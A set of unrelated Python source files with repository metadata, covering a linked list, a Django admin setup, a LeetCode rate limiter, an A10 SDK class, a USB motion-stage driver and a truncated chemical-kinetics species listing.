UTF-8
Python
false
false
4,524
py
#!/usr/bin/env python # coding=utf-8 ''' @version: @Author: steven @Date: 2020-05-27 22:20:22 @LastEditors: steven @LastEditTime: 2020-06-08 19:10:11 @Description: ''' class Node(object): # ๅœจpython 3 ไธญๅทฒ็ป้ป˜่ฎคๅฐฑๅธฎไฝ ๅŠ ่ฝฝไบ†objectไบ†๏ผˆๅณไพฟไฝ ๆฒกๆœ‰ๅ†™ไธŠobject๏ผ‰ใ€‚https://my.oschina.net/zhengtong0898/blog/636468 def __init__(self, data, pnext = None): """ data:่Š‚็‚นไฟๅญ˜็š„ๆ•ฐๆฎ _next:ไฟๅญ˜ไธ‹ไธ€ไธช่Š‚็‚นๅฏน่ฑก """ self.data = data self._next = pnext def __repr__(self): """ ็”จไบŽๅฎšไน‰Node็š„ๅญ—็ฌฆ่พ“ๅ‡บ๏ผŒ ?print็”จไบŽ่พ“ๅ‡บdata """ return str(self.data) class ChainTable(object): def __init__(self): self.head = None self.length = 0 def isEmpty(self): return (self.length == 0) def append(self, dataOrNode): item = None if isinstance(dataOrNode, Node): item = dataOrNode else: item = Node(dataOrNode) if not self.head: self.head = item self.length += 1 else: # ็งปๅŠจๅˆฐๅทฒๆœ‰็š„ๆœ€ๅŽ่Š‚็‚นใ€‚ node = self.head while node._next: node = node._next node._next = item self.length += 1 def delete(self, index): if self.isEmpty(): print("this chain table is empty.") return if index < 0 or index >= self.length: print('error: out of index') return if index == 0: self.head = self.head._next self.length -= 1 return j = 0 node = self.head prev = self.head while node._next and j < index: prev = node node = node._next j += 1 if j == index: prev._next = node._next self.length -= 1 def insert(self, index, dataOrNode): if self.isEmpty(): print("this chain tabale is empty") return if index < 0 or index >= self.length: print("error: out of index") return item = None if isinstance(dataOrNode, Node): item = dataOrNode else: item = Node(dataOrNode) if index == 0: item._next = self.head self.head = item self.length += 1 return j = 0 node = self.head prev = self.head while node._next and j < index: prev = node node = node._next j += 1 if j == index: item._next = node prev._next = item self.length += 1 def update(self, index, data): if self.isEmpty() or index < 0 or index >= self.length: print('error: out of index') return j = 0 node = self.head while node._next and j < index: node = node._next j += 1 if j == index: node.data = data def getItem(self, index): if self.isEmpty() or index < 0 or index >= self.length: print("error: out of index") return j = 0 node = self.head while node._next and j < index: node = node._next j += 1 return node.data def getIndex(self, data): j = 0 if self.isEmpty(): print("this chain table is empty") return node = self.head while node: if node.data == data: return j node = node._next j += 1 if j == self.length: print("%s not found" % str(data)) return def clear(self): self.head = None self.length = 0 def __repr__(self): if self.isEmpty(): return("empty chain table") node = self.head nlist = '' while node: nlist += str(node.data) + ' ' node = node._next return nlist def __getitem__(self, ind): if self.isEmpty() or ind < 0 or ind >= self.length: print("error: out of index") return return self.getItem(ind) def __setitem__(self, ind, val): if self.isEmpty() or ind < 0 or ind >= self.length: print("error: out of index") return self.update(ind, val) def __len__(self): return self.length
bf726f5207709908e58489b515b521a76322c265
a5a33e7446e9af18be7861f8e5b44e33fcfed9e1
/users/admin.py
8d272c18906bd46236e726c597ce2eea308721c4
[]
no_license
akabhi5/url-shortener-django-api
75afc14f167310a7a22429650a504da820627924
33a1fd3f52ce95b8d68ba706ce91cdfd95f95e53
refs/heads/main
2023-09-02T19:21:40.524613
2021-11-16T16:47:12
2021-11-16T16:47:12
380,212,386
0
0
null
null
null
null
UTF-8
Python
false
false
911
py
# users/admin.py from django.contrib.auth.admin import UserAdmin as BaseUserAdmin from django.contrib.auth.models import Group from django.contrib import admin from users.forms import UserChangeForm, UserCreationForm from users.models import User class UserAdmin(BaseUserAdmin): form = UserChangeForm add_form = UserCreationForm list_display = ('email', 'is_admin') list_filter = ('is_admin',) fieldsets = ( (None, {'fields': ('email', 'password', 'first_name', 'last_name',)}), ('Permissions', {'fields': ('is_admin',)}), ) add_fieldsets = ( (None, { 'classes': ('wide',), 'fields': ('email', 'password1', 'password2'), }), ) search_fields = ('email',) ordering = ('email',) filter_horizontal = () class Meta: model = User admin.site.register(User, UserAdmin) admin.site.unregister(Group)
e6172fd041838054a0760cdc1ac341bcfcf3bb15
bd1b1fda138e6687dadc57317c3e312bc8872600
/mycode/leetcode2017/Hash/359 Logger Rate Limiter.py
af15b46efce80851b00ad6e66769fec1c7c88d72
[]
no_license
dundunmao/lint_leet
fc185038f57e0c5cbb82a74cebd4fe00422416cb
5788bd7b154649d2f787bbc4feb717ff2f4b4c59
refs/heads/master
2020-11-30T04:56:25.553327
2017-10-22T07:11:01
2017-10-22T07:11:01
96,705,212
1
0
null
null
null
null
UTF-8
Python
false
false
1,207
py
# -*- encoding: utf-8 -*- # Logger Rate Limiter ่ฎฐๅฝ•้€Ÿ็އ้™ๅˆถๅ™จ # ่ฟ™้“้ข˜่ฎฉๆˆ‘ไปฌ่ฎพ่ฎกไธ€ไธช่ฎฐๅฝ•็ณป็ปŸๆฏๆฌกๆŽฅๅ—ไฟกๆฏๅนถไฟๅญ˜ๆ—ถ้—ดๆˆณ๏ผŒ็„ถๅŽ่ฎฉๆˆ‘ไปฌๆ‰“ๅฐๅ‡บ่ฏฅๆถˆๆฏ๏ผŒๅ‰ๆๆ˜ฏๆœ€่ฟ‘10็ง’ๅ†…ๆฒกๆœ‰ๆ‰“ๅฐๅ‡บ่ฟ™ไธชๆถˆๆฏ # Example: # Logger logger = new Logger(); # # // logging string "foo" at timestamp 1 # logger.shouldPrintMessage(1, "foo"); returns true; # # // logging string "bar" at timestamp 2 # logger.shouldPrintMessage(2,"bar"); returns true; # # // logging string "foo" at timestamp 3 # logger.shouldPrintMessage(3,"foo"); returns false; # # // logging string "bar" at timestamp 8 # logger.shouldPrintMessage(8,"bar"); returns false; # # // logging string "foo" at timestamp 10 # logger.shouldPrintMessage(10,"foo"); returns false; # # // logging string "foo" at timestamp 11 # logger.shouldPrintMessage(11,"foo"); returns true; class Logger(): def __init__(self): self.message = {} def shouldPrintMessage(self,time,str): if self.message.has_key(str): if time - self.message[str] > 10: return True else: return False else: self.message[str] = time return True
0f87356dc8737967c17be6fb9a93469fbc84b1dc
e42a61b7be7ec3412e5cea0ffe9f6e9f34d4bf8d
/a10sdk/core/gslb/gslb_geoloc_rdt_oper.py
a354a4599bd1c8491c401a33f89f34e99d66ee21
[ "Apache-2.0" ]
permissive
amwelch/a10sdk-python
4179565afdc76cdec3601c2715a79479b3225aef
3e6d88c65bd1a2bf63917d14be58d782e06814e6
refs/heads/master
2021-01-20T23:17:07.270210
2015-08-13T17:53:23
2015-08-13T17:53:23
40,673,499
0
0
null
2015-08-13T17:51:35
2015-08-13T17:51:34
null
UTF-8
Python
false
false
3,000
py
from a10sdk.common.A10BaseClass import A10BaseClass class GeolocRdtList(A10BaseClass): """This class does not support CRUD Operations please use parent. :param rdt: {"type": "number", "format": "number"} :param site_name: {"type": "string", "format": "string"} :param gl_name: {"type": "string", "format": "string"} :param type: {"type": "string", "format": "string"} :param age: {"type": "number", "format": "number"} :param DeviceProxy: The device proxy for REST operations and session handling. Refer to `common/device_proxy.py` """ def __init__(self, **kwargs): self.ERROR_MSG = "" self.b_key = "geoloc-rdt-list" self.DeviceProxy = "" self.rdt = "" self.site_name = "" self.gl_name = "" self.A10WW_type = "" self.age = "" for keys, value in kwargs.items(): setattr(self,keys, value) class Oper(A10BaseClass): """This class does not support CRUD Operations please use parent. :param geoloc_rdt_list: {"minItems": 1, "items": {"type": "object"}, "uniqueItems": true, "type": "array", "array": [{"properties": {"rdt": {"type": "number", "format": "number"}, "optional": true, "site-name": {"type": "string", "format": "string"}, "gl-name": {"type": "string", "format": "string"}, "type": {"type": "string", "format": "string"}, "age": {"type": "number", "format": "number"}}}]} :param geo_name: {"type": "string", "format": "string"} :param site_name: {"type": "string", "format": "string"} :param active_status: {"type": "string", "format": "string"} :param total_rdt: {"type": "number", "format": "number"} :param DeviceProxy: The device proxy for REST operations and session handling. Refer to `common/device_proxy.py` """ def __init__(self, **kwargs): self.ERROR_MSG = "" self.b_key = "oper" self.DeviceProxy = "" self.geoloc_rdt_list = [] self.geo_name = "" self.site_name = "" self.active_status = "" self.total_rdt = "" for keys, value in kwargs.items(): setattr(self,keys, value) class GeolocRdt(A10BaseClass): """Class Description:: Operational Status for the object geoloc-rdt. Class geoloc-rdt supports CRUD Operations and inherits from `common/A10BaseClass`. This class is the `"PARENT"` class for this module.` :param DeviceProxy: The device proxy for REST operations and session handling. Refer to `common/device_proxy.py` URL for this object:: `https://<Hostname|Ip address>//axapi/v3/gslb/geoloc-rdt/oper`. """ def __init__(self, **kwargs): self.ERROR_MSG = "" self.required=[] self.b_key = "geoloc-rdt" self.a10_url="/axapi/v3/gslb/geoloc-rdt/oper" self.DeviceProxy = "" self.oper = {} for keys, value in kwargs.items(): setattr(self,keys, value)
d21833248f0bdec9ce0f4b88c983939bacd74938
4f1fa59cc81dbaabf41c9e95108b643d00faceb9
/ros/actuation/stage/nodes/StageDevice.py
e2a4e44a9b722baa74204c36c0ee7ad2f637ad59
[]
no_license
florisvb/Flyatar
7f31bb27108f6da785e67a2b92f56e7bc0beced0
dfaf30bcb77d6c95cab67ad280615722a11814c3
refs/heads/master
2021-01-01T15:44:54.827787
2010-06-24T01:24:06
2010-06-24T01:24:06
null
0
0
null
null
null
null
UTF-8
Python
false
false
7,686
py
#!/usr/bin/env python # # StageDevice.py # # Control interface for at90usb based xyfly stage board. # Provides python module and a command line utility. # # Note, need to set permissions correctly to get device to respond to nonroot # users. This required adding and rules file to udev/rules.d and adding a # group. # # who when what # --- ---- ---- # pjp 08/19/09 version 1.0 # --------------------------------------------------------------------------- from __future__ import division import USBDevice import ctypes import time # XYFly stage device parameters _motor_num = 3 # Input/Output Structures class MotorState_t(ctypes.LittleEndianStructure): _pack_ = 1 _fields_ =[('Frequency', ctypes.c_uint16), ('Position', ctypes.c_uint16)] class USBPacketOut_t(ctypes.LittleEndianStructure): _pack_ = 1 _fields_ =[('MotorUpdate', ctypes.c_uint8), ('SetPoint', MotorState_t * _motor_num)] class USBPacketIn_t(ctypes.LittleEndianStructure): _pack_ = 1 _fields_ =[('MotorState', MotorState_t * _motor_num)] class StageDevice(USBDevice.USB_Device): def __init__(self, serial_number=None): # USB device parameters self.vendor_id = 0x0004 self.product_id = 0x0002 self.bulkout_ep_address = 0x01 self.bulkin_ep_address = 0x82 self.buffer_out_size = 64 self.buffer_in_size = 64 self.serial_number = serial_number USBDevice.USB_Device.__init__(self, self.vendor_id, self.product_id, self.bulkout_ep_address, self.bulkin_ep_address, self.buffer_out_size, self.buffer_in_size, self.serial_number) # USB Command IDs self.USB_CMD_GET_STATE = ctypes.c_uint8(1) self.USB_CMD_SET_STATE = ctypes.c_uint8(2) self.USBPacketOut = USBPacketOut_t() self.USBPacketIn = USBPacketIn_t() # self.Motor = [] # for MotorN in range(_motor_num): # self.Motor.append({'Frequency' : 0, # 'FrequencyMax' : FREQUENCY_MAX, # 'Position' : 0, # 'PositionMin' : POSITION_MIN, # 'PositionMax' : POSITION_MAX, # 'PositionSetPoint' : 0, # 'Direction' : 0}) # Parameters self.frequency_max = 30000 self.position_min = 0 self.position_max = 44000 self.steps_per_mm = 5000/25.4 # 5000 steps per inch # 25.4 mm per inch self.steps_per_radian = 200 # Change to actual number! self.axis_x = 0 self.axis_y = 1 self.axis_theta = 2 self.x_vel_mm = 0 self.x_vel_steps = 0 self.y_vel_mm = 0 self.y_vel_steps = 0 self.x_pos_mm = 0 self.x_pos_steps = 0 self.y_pos_mm = 0 self.y_pos_steps = 0 def update_velocity(self, x_velocity, y_velocity): self.x_vel_mm = x_velocity self.y_vel_mm = y_velocity self.x_vel_steps = self._mm_to_steps(self.x_vel_mm) self.y_vel_steps = self._mm_to_steps(self.y_vel_mm) if self.x_vel_steps < 0: self.x_pos_steps = self.position_min self.x_vel_steps = abs(self.x_vel_steps) else: self.x_pos_steps = self.position_max if self.y_vel_steps < 0: self.y_pos_steps = self.position_min self.y_vel_steps = abs(self.y_vel_steps) else: self.y_pos_steps = self.position_max if self.x_vel_steps > self.frequency_max: self.x_vel_steps = self.frequency_max if self.y_vel_steps > self.frequency_max: self.y_vel_steps = self.frequency_max self._set_frequency(self.axis_x,self.x_vel_steps) self._set_position(self.axis_x,self.x_pos_steps) self._set_frequency(self.axis_y,self.y_vel_steps) self._set_position(self.axis_y,self.y_pos_steps) self._set_motor_state() x,y,theta,x_velocity,y_velocity,theta_velocity = self.return_state() return x,y,theta,x_velocity,y_velocity,theta_velocity def get_state(self): self._get_motor_state() x,y,theta,x_velocity,y_velocity,theta_velocity = self.return_state() return x,y,theta,x_velocity,y_velocity,theta_velocity def return_state(self): x_velocity = self._steps_to_mm(self.USBPacketIn.MotorState[self.axis_x].Frequency) x = self._steps_to_mm(self.USBPacketIn.MotorState[self.axis_x].Position) y_velocity = self._steps_to_mm(self.USBPacketIn.MotorState[self.axis_y].Frequency) y = self._steps_to_mm(self.USBPacketIn.MotorState[self.axis_y].Position) theta_velocity = self._steps_to_mm(self.USBPacketIn.MotorState[self.axis_theta].Frequency) theta = self._steps_to_mm(self.USBPacketIn.MotorState[self.axis_theta].Position) return x,y,theta,x_velocity,y_velocity,theta_velocity def _mm_to_steps(self,quantity_mm): return quantity_mm*self.steps_per_mm def _steps_to_mm(self,quantity_steps): return quantity_steps/self.steps_per_mm def _set_frequency(self,axis,freq): self.USBPacketOut.SetPoint[axis].Frequency = int(freq) def _set_position(self,axis,pos): self.USBPacketOut.SetPoint[axis].Position = int(pos) def _get_motor_state(self): outdata = [self.USB_CMD_GET_STATE] intypes = [ctypes.c_uint8, USBPacketIn_t] val_list = self.usb_cmd(outdata,intypes) cmd_id = val_list[0] self._check_cmd_id(self.USB_CMD_GET_STATE,cmd_id) self.USBPacketIn = val_list[1] def _set_motor_state(self): self.USBPacketOut.MotorUpdate = ctypes.c_uint8(7) outdata = [self.USB_CMD_SET_STATE, self.USBPacketOut] intypes = [ctypes.c_uint8, USBPacketIn_t] val_list = self.usb_cmd(outdata,intypes) cmd_id = val_list[0] self._check_cmd_id(self.USB_CMD_SET_STATE,cmd_id) self.USBPacketIn = val_list[1] def _print_motor_state(self): print '*'*20 print 'Frequency X = ', self.USBPacketIn.MotorState[self.axis_x].Frequency print 'Position X = ', self.USBPacketIn.MotorState[self.axis_x].Position print 'Frequency Y = ', self.USBPacketIn.MotorState[self.axis_y].Frequency print 'Position Y = ', self.USBPacketIn.MotorState[self.axis_y].Position print 'Frequency Theta = ', self.USBPacketIn.MotorState[self.axis_theta].Frequency print 'Position Theta = ', self.USBPacketIn.MotorState[self.axis_theta].Position print '*'*20 def _check_cmd_id(self,expected_id,received_id): """ Compares expected and received command ids. Arguments: expected_id = expected command id received_is = received command id Return: None """ if not expected_id.value == received_id.value: msg = "received incorrect command ID %d expected %d"%(received_id.value,expected_id.value) raise IOError, msg return #------------------------------------------------------------------------------------- if __name__ == '__main__': print "Opening XYFly stage device ..." dev = StageDevice() dev.print_values() dev.close() print "XYFly stage device closed."
e986cdd445a1e19e8935ecb7c97f891c9b9a8eb9
41fd80f9ccc72a17c2db16b7019312a87d3181e8
/zhang_local/pdep/network5115_1.py
40a4c9b1f1130ac0aadaafa4170cd5a2f758f213
[]
no_license
aberdeendinius/n-heptane
1510e6704d87283043357aec36317fdb4a2a0c34
1806622607f74495477ef3fd772908d94cff04d9
refs/heads/master
2020-05-26T02:06:49.084015
2019-07-01T15:12:44
2019-07-01T15:12:44
188,069,618
0
0
null
null
null
null
UTF-8
Python
false
false
64,706
py
species( label = 'C=[C]C(O)C[C]=O(14295)', structure = SMILES('C=[C]C(O)C[C]=O'), E0 = (101.894,'kJ/mol'), modes = [ HarmonicOscillator(frequencies=([3615,1277.5,1000,2950,3100,1380,975,1025,1650,1855,455,950,2750,2850,1437.5,1250,1305,750,350,1380,1390,370,380,2900,435,1685,370,243.441,243.605],'cm^-1')), HinderedRotor(inertia=(0.00285574,'amu*angstrom^2'), symmetry=1, barrier=(0.119631,'kJ/mol'), semiclassical=False), HinderedRotor(inertia=(0.193957,'amu*angstrom^2'), symmetry=1, barrier=(8.10241,'kJ/mol'), semiclassical=False), HinderedRotor(inertia=(0.192572,'amu*angstrom^2'), symmetry=1, barrier=(8.09824,'kJ/mol'), semiclassical=False), HinderedRotor(inertia=(0.191549,'amu*angstrom^2'), symmetry=1, barrier=(8.09734,'kJ/mol'), semiclassical=False), ], spinMultiplicity = 3, opticalIsomers = 1, molecularWeight = (98.0999,'amu'), energyTransferModel = SingleExponentialDown(alpha0=(3.5886,'kJ/mol'), T0=(300,'K'), n=0.85), thermo = NASA(polynomials=[NASAPolynomial(coeffs=[1.17162,0.0659362,-7.8981e-05,5.36055e-08,-1.49744e-11,12353.6,29.0775], Tmin=(100,'K'), Tmax=(864.703,'K')), NASAPolynomial(coeffs=[9.44945,0.0276434,-1.25533e-05,2.39036e-09,-1.66946e-13,10922.1,-9.65477], Tmin=(864.703,'K'), Tmax=(5000,'K'))], Tmin=(100,'K'), Tmax=(5000,'K'), E0=(101.894,'kJ/mol'), Cp0=(33.2579,'J/(mol*K)'), CpInf=(291.007,'J/(mol*K)'), comment="""Thermo group additivity estimation: group(O2s-CsH) + group(Cs-(Cds-Cds)CsOsH) + group(Cs-(Cds-O2d)CsHH) + group(Cds-CdsCsH) + group(Cds-OdCsH) + group(Cds-CdsHH) + radical(Cds_S) + radical(CCCJ=O)"""), ) species( label = 'C=C=O(598)', structure = SMILES('C=C=O'), E0 = (-59.3981,'kJ/mol'), modes = [ HarmonicOscillator(frequencies=([2950,3100,1380,975,1025,1650,2120,512.5,787.5],'cm^-1')), ], spinMultiplicity = 1, opticalIsomers = 1, molecularWeight = (42.0367,'amu'), collisionModel = TransportData(shapeIndex=2, epsilon=(3625.12,'J/mol'), sigma=(3.97,'angstroms'), dipoleMoment=(0,'C*m'), polarizability=(0,'angstroms^3'), rotrelaxcollnum=2.0, comment="""GRI-Mech"""), energyTransferModel = SingleExponentialDown(alpha0=(3.5886,'kJ/mol'), T0=(300,'K'), n=0.85), thermo = NASA(polynomials=[NASAPolynomial(coeffs=[3.52746,0.00708371,9.17709e-06,-1.64254e-08,6.71115e-12,-7123.94,5.7438], Tmin=(100,'K'), Tmax=(956.683,'K')), NASAPolynomial(coeffs=[5.76495,0.00596559,-1.98486e-06,3.52744e-10,-2.51619e-14,-7929,-6.92178], Tmin=(956.683,'K'), Tmax=(5000,'K'))], Tmin=(100,'K'), Tmax=(5000,'K'), E0=(-59.3981,'kJ/mol'), Cp0=(33.2579,'J/(mol*K)'), CpInf=(108.088,'J/(mol*K)'), comment="""Thermo group additivity estimation: group(Cds-(Cdd-O2d)HH)"""), ) species( label = 'C=C=CO(12571)', structure = SMILES('C=C=CO'), E0 = (-26.0646,'kJ/mol'), modes = [ HarmonicOscillator(frequencies=([2950,3100,1380,975,1025,1650,540,610,2055,3615,1277.5,1000,3010,987.5,1337.5,450,1655],'cm^-1')), HinderedRotor(inertia=(1.34368,'amu*angstrom^2'), symmetry=1, barrier=(30.8938,'kJ/mol'), semiclassical=False), ], spinMultiplicity = 1, opticalIsomers = 1, molecularWeight = (56.0633,'amu'), collisionModel = TransportData(shapeIndex=2, epsilon=(3437.21,'J/mol'), sigma=(5.57865,'angstroms'), dipoleMoment=(0,'C*m'), polarizability=(0,'angstroms^3'), rotrelaxcollnum=0, comment="""Epsilon & sigma estimated with Tc=536.88 K, Pc=44.92 bar (from Joback method)"""), energyTransferModel = SingleExponentialDown(alpha0=(3.5886,'kJ/mol'), T0=(300,'K'), n=0.85), thermo = NASA(polynomials=[NASAPolynomial(coeffs=[2.31583,0.0236137,2.05754e-05,-5.73733e-08,2.79863e-11,-3061.58,12.125], Tmin=(100,'K'), Tmax=(901.949,'K')), NASAPolynomial(coeffs=[16.2977,-0.00239911,3.975e-06,-8.57293e-10,5.72973e-14,-7047.88,-62.0029], Tmin=(901.949,'K'), Tmax=(5000,'K'))], Tmin=(100,'K'), Tmax=(5000,'K'), E0=(-26.0646,'kJ/mol'), Cp0=(33.2579,'J/(mol*K)'), CpInf=(178.761,'J/(mol*K)'), comment="""Thermo group additivity estimation: group(O2s-(Cds-Cd)H) + group(Cds-CdsOsH) + group(Cds-CdsHH) + group(Cdd-CdsCds)"""), ) species( label = 'H(8)', structure = SMILES('[H]'), E0 = (211.805,'kJ/mol'), spinMultiplicity = 1, opticalIsomers = 1, molecularWeight = (1.00794,'amu'), collisionModel = TransportData(shapeIndex=0, epsilon=(1205.6,'J/mol'), sigma=(2.05,'angstroms'), dipoleMoment=(0,'C*m'), polarizability=(0,'angstroms^3'), rotrelaxcollnum=0.0, comment="""GRI-Mech"""), energyTransferModel = SingleExponentialDown(alpha0=(3.5886,'kJ/mol'), T0=(300,'K'), n=0.85), thermo = NASA(polynomials=[NASAPolynomial(coeffs=[2.5,9.24385e-15,-1.3678e-17,6.66185e-21,-1.00107e-24,25474.2,-0.444973], Tmin=(100,'K'), Tmax=(3459.6,'K')), NASAPolynomial(coeffs=[2.5,9.20456e-12,-3.58608e-15,6.15199e-19,-3.92042e-23,25474.2,-0.444973], Tmin=(3459.6,'K'), Tmax=(5000,'K'))], Tmin=(100,'K'), Tmax=(5000,'K'), E0=(211.805,'kJ/mol'), Cp0=(20.7862,'J/(mol*K)'), CpInf=(20.7862,'J/(mol*K)'), label="""H""", comment="""Thermo library: primaryThermoLibrary"""), ) species( label = 'C=C=C(O)C[C]=O(28246)', structure = SMILES('C=C=C(O)C[C]=O'), E0 = (-7.15802,'kJ/mol'), modes = [ HarmonicOscillator(frequencies=([3615,1277.5,1000,350,440,435,1725,2950,3100,1380,975,1025,1650,1855,455,950,540,610,2055,2750,2850,1437.5,1250,1305,750,350,180],'cm^-1')), HinderedRotor(inertia=(0.843614,'amu*angstrom^2'), symmetry=1, barrier=(19.3964,'kJ/mol'), semiclassical=False), HinderedRotor(inertia=(0.847586,'amu*angstrom^2'), symmetry=1, barrier=(19.4877,'kJ/mol'), semiclassical=False), HinderedRotor(inertia=(0.842821,'amu*angstrom^2'), symmetry=1, barrier=(19.3781,'kJ/mol'), semiclassical=False), ], spinMultiplicity = 2, opticalIsomers = 1, molecularWeight = (97.092,'amu'), energyTransferModel = SingleExponentialDown(alpha0=(3.5886,'kJ/mol'), T0=(300,'K'), n=0.85), thermo = NASA(polynomials=[NASAPolynomial(coeffs=[0.863412,0.058442,-4.26756e-05,6.77566e-09,2.85378e-12,-738.843,24.6617], Tmin=(100,'K'), Tmax=(1047.44,'K')), NASAPolynomial(coeffs=[17.9556,0.0128654,-5.61252e-06,1.13817e-09,-8.54719e-14,-5399.87,-63.7479], Tmin=(1047.44,'K'), Tmax=(5000,'K'))], Tmin=(100,'K'), Tmax=(5000,'K'), E0=(-7.15802,'kJ/mol'), Cp0=(33.2579,'J/(mol*K)'), CpInf=(270.22,'J/(mol*K)'), comment="""Thermo group additivity estimation: group(O2s-(Cds-Cd)H) + group(Cs-(Cds-O2d)(Cds-Cds)HH) + group(Cds-CdsCsOs) + group(Cds-OdCsH) + group(Cds-CdsHH) + group(Cdd-CdsCds) + radical(CCCJ=O)"""), ) species( label = 'C=[C]C(O)C=C=O(28247)', structure = SMILES('C=[C]C(O)C=C=O'), E0 = (58.1781,'kJ/mol'), modes = [ HarmonicOscillator(frequencies=([3615,1277.5,1000,2950,3100,1380,975,1025,1650,2120,512.5,787.5,1685,370,3010,987.5,1337.5,450,1655,1380,1390,370,380,2900,435,180,180],'cm^-1')), HinderedRotor(inertia=(0.538647,'amu*angstrom^2'), symmetry=1, barrier=(12.3846,'kJ/mol'), semiclassical=False), HinderedRotor(inertia=(0.53905,'amu*angstrom^2'), symmetry=1, barrier=(12.3938,'kJ/mol'), semiclassical=False), HinderedRotor(inertia=(0.538268,'amu*angstrom^2'), symmetry=1, barrier=(12.3758,'kJ/mol'), semiclassical=False), ], spinMultiplicity = 2, opticalIsomers = 1, molecularWeight = (97.092,'amu'), energyTransferModel = SingleExponentialDown(alpha0=(3.5886,'kJ/mol'), T0=(300,'K'), n=0.85), thermo = NASA(polynomials=[NASAPolynomial(coeffs=[0.768363,0.0790697,-0.00012985,1.13852e-07,-3.84309e-11,7105.95,25.2599], Tmin=(100,'K'), Tmax=(872.086,'K')), NASAPolynomial(coeffs=[8.30276,0.0277666,-1.28059e-05,2.3603e-09,-1.57872e-13,6428.58,-6.40717], Tmin=(872.086,'K'), Tmax=(5000,'K'))], Tmin=(100,'K'), Tmax=(5000,'K'), E0=(58.1781,'kJ/mol'), Cp0=(33.2579,'J/(mol*K)'), CpInf=(270.22,'J/(mol*K)'), comment="""Thermo group additivity estimation: group(O2s-CsH) + group(Cs-(Cds-Cdd-O2d)CsOsH) + group(Cds-CdsCsH) + group(Cds-(Cdd-O2d)CsH) + group(Cds-CdsHH) + radical(Cds_S)"""), ) species( label = 'C#CC(O)C[C]=O(28248)', structure = SMILES('C#CC(O)C[C]=O'), E0 = (30.0025,'kJ/mol'), modes = [ HarmonicOscillator(frequencies=([750,770,3400,2100,1855,455,950,2750,2850,1437.5,1250,1305,750,350,1380,1390,370,380,2900,435,2175,525,3615,1277.5,1000,317.212],'cm^-1')), HinderedRotor(inertia=(0.407769,'amu*angstrom^2'), symmetry=1, barrier=(29.1166,'kJ/mol'), semiclassical=False), HinderedRotor(inertia=(0.144927,'amu*angstrom^2'), symmetry=1, barrier=(10.3485,'kJ/mol'), semiclassical=False), HinderedRotor(inertia=(0.144927,'amu*angstrom^2'), symmetry=1, barrier=(10.3485,'kJ/mol'), semiclassical=False), HinderedRotor(inertia=(0.144927,'amu*angstrom^2'), symmetry=1, barrier=(10.3485,'kJ/mol'), semiclassical=False), ], spinMultiplicity = 2, opticalIsomers = 1, molecularWeight = (97.092,'amu'), energyTransferModel = SingleExponentialDown(alpha0=(3.5886,'kJ/mol'), T0=(300,'K'), n=0.85), thermo = NASA(polynomials=[NASAPolynomial(coeffs=[0.973447,0.0667846,-8.27717e-05,5.44777e-08,-1.41519e-11,3717.25,26.9222], Tmin=(100,'K'), Tmax=(945.781,'K')), NASAPolynomial(coeffs=[12.2323,0.0191684,-7.25432e-06,1.24783e-09,-8.18873e-14,1587.52,-26.768], Tmin=(945.781,'K'), Tmax=(5000,'K'))], Tmin=(100,'K'), Tmax=(5000,'K'), E0=(30.0025,'kJ/mol'), Cp0=(33.2579,'J/(mol*K)'), CpInf=(266.063,'J/(mol*K)'), comment="""Thermo group additivity estimation: group(O2s-CsH) + group(Cs-(Cds-Cds)CsOsH) + group(Cs-(Cds-O2d)CsHH) + group(Cds-OdCsH) + group(Ct-CtCs) + group(Ct-CtH) + radical(CCCJ=O)"""), ) species( label = '[CH2][C]=O(601)', structure = SMILES('[CH2][C]=O'), E0 = (160.864,'kJ/mol'), modes = [ HarmonicOscillator(frequencies=([3000,3100,440,815,1455,1000,672.051,672.102],'cm^-1')), HinderedRotor(inertia=(0.000373196,'amu*angstrom^2'), symmetry=1, barrier=(0.119627,'kJ/mol'), semiclassical=False), ], spinMultiplicity = 3, opticalIsomers = 1, molecularWeight = (42.0367,'amu'), energyTransferModel = SingleExponentialDown(alpha0=(3.5886,'kJ/mol'), T0=(300,'K'), n=0.85), thermo = NASA(polynomials=[NASAPolynomial(coeffs=[3.57974,0.00389613,2.17609e-05,-3.06386e-08,1.18311e-11,19367.5,10.1348], Tmin=(100,'K'), Tmax=(961.532,'K')), NASAPolynomial(coeffs=[6.4326,0.00553733,-1.87382e-06,3.59985e-10,-2.76653e-14,18194.3,-6.76404], Tmin=(961.532,'K'), Tmax=(5000,'K'))], Tmin=(100,'K'), Tmax=(5000,'K'), E0=(160.864,'kJ/mol'), Cp0=(33.2579,'J/(mol*K)'), CpInf=(103.931,'J/(mol*K)'), comment="""Thermo group additivity estimation: group(Cs-(Cds-O2d)HHH) + group(Cds-OdCsH) + radical(CJC=O) + radical(CsCJ=O)"""), ) species( label = '[CH2][C]=CO(18753)', structure = SMILES('[CH2][C]=CO'), E0 = (186.672,'kJ/mol'), modes = [ HarmonicOscillator(frequencies=([3000,3100,440,815,1455,1000,1685,370,3615,1277.5,1000,3010,987.5,1337.5,450,1655],'cm^-1')), HinderedRotor(inertia=(1.23523,'amu*angstrom^2'), symmetry=1, barrier=(28.4004,'kJ/mol'), semiclassical=False), HinderedRotor(inertia=(1.2351,'amu*angstrom^2'), symmetry=1, barrier=(28.3973,'kJ/mol'), semiclassical=False), ], spinMultiplicity = 3, opticalIsomers = 1, molecularWeight = (56.0633,'amu'), energyTransferModel = SingleExponentialDown(alpha0=(3.5886,'kJ/mol'), T0=(300,'K'), n=0.85), thermo = NASA(polynomials=[NASAPolynomial(coeffs=[2.24497,0.0260528,1.3484e-05,-5.00525e-08,2.54383e-11,22526.5,14.0801], Tmin=(100,'K'), Tmax=(898.827,'K')), NASAPolynomial(coeffs=[16.2027,-0.00210248,3.79693e-06,-8.3211e-10,5.63273e-14,18645.6,-59.4], Tmin=(898.827,'K'), Tmax=(5000,'K'))], Tmin=(100,'K'), Tmax=(5000,'K'), E0=(186.672,'kJ/mol'), Cp0=(33.2579,'J/(mol*K)'), CpInf=(174.604,'J/(mol*K)'), comment="""Thermo group additivity estimation: group(O2s-(Cds-Cd)H) + group(Cs-(Cds-Cds)HHH) + group(Cds-CdsCsH) + group(Cds-CdsOsH) + radical(Cds_S) + radical(Allyl_P)"""), ) species( label = 'OH(D)(132)', structure = SMILES('[OH]'), E0 = (28.3945,'kJ/mol'), modes = [ HarmonicOscillator(frequencies=([3668.68],'cm^-1')), ], spinMultiplicity = 2, opticalIsomers = 1, molecularWeight = (17.0073,'amu'), collisionModel = TransportData(shapeIndex=1, epsilon=(665.16,'J/mol'), sigma=(2.75,'angstroms'), dipoleMoment=(0,'C*m'), polarizability=(0,'angstroms^3'), rotrelaxcollnum=0.0, 